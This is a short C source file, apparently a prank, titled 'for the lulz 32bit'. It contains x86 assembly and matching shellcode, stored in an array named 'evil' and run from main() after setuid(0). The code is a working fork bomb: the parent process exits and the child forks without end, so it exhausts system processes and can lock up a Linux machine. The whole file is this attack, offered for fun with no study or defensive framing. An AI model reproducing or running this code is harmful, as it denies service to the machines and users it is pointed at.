for the lulz 32bit

// ----------------------------------------------------------------------------
// "THE BEER-WARE LICENSE" (Revision 43):
// <[email protected]> wrote this file. As long as you retain this notice you
// can do whatever you want with this stuff. If we meet some day, and you think
// this stuff is worth it, you can buy me a beer in return Aaron R. Yool
// ----------------------------------------------------------------------------
/*
global _start
section .text

_start:
; fork(void);
    xor eax, eax
    mov al,0x02
    int 0x80
    cmp eax,1   ; if this is a child, or we have failed to clone
    jl fork     ; jump to the main code
; exit(0);
    xor eax,eax
    mov al,0x1
    xor ebx,ebx
    int 0x80
fork:
    mov al, 0x02
    int 0x80
    jmp short fork

*/

const char evil[] = "\x31\xc0\xb0\x02\xcd\x80\x83\xf8\x01\x7c\x08\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xb0\x02\xcd\x80\xeb\xfa";

typedef void (*shellcode)(void);
void main(void)
{
    setuid(0);
    ((shellcode)evil)();
}